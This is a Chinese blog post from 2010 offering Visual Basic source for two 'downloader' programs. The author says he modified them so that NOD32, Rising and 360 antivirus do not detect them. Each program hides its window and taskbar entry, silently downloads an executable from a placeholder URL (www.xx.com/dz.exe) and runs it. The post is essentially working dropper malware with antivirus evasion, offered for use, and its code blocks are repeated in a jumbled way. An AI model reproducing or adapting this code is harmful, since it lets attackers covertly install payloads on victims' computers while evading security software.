VB简单下载者源码
作者:刚子 日期:2010-03-26
网上有很多版本,但是都不免杀,我做了一下修改,一共修改了两个免杀版本,免杀了本机的NOD32,瑞星,360杀毒,其他的没测试。
第一个:(推荐)
程序代码第二个:
程序代码
第一个:(推荐)
程序代码Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\1.exe"
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
WinExec "1.exe", 10
End If
End Function
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\1.exe"
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
WinExec "1.exe", 10
End If
End Function
程序代码Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\d.exe"
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
Dim mShell As Object
Set mShell = CreateObject("wscript.shell")
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
mShell.Run "d.exe"
End If
End Function
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
DownloadFile "http://www.xx.com/dz.exe", App.Path & "\d.exe"
End Sub
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
Dim mShell As Object
Set mShell = CreateObject("wscript.shell")
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
mShell.Run "d.exe"
End If
End Function
评论: 0 | 引用: 0 | 查看次数: -
发表评论
上一篇
下一篇

文章来自:
Tags: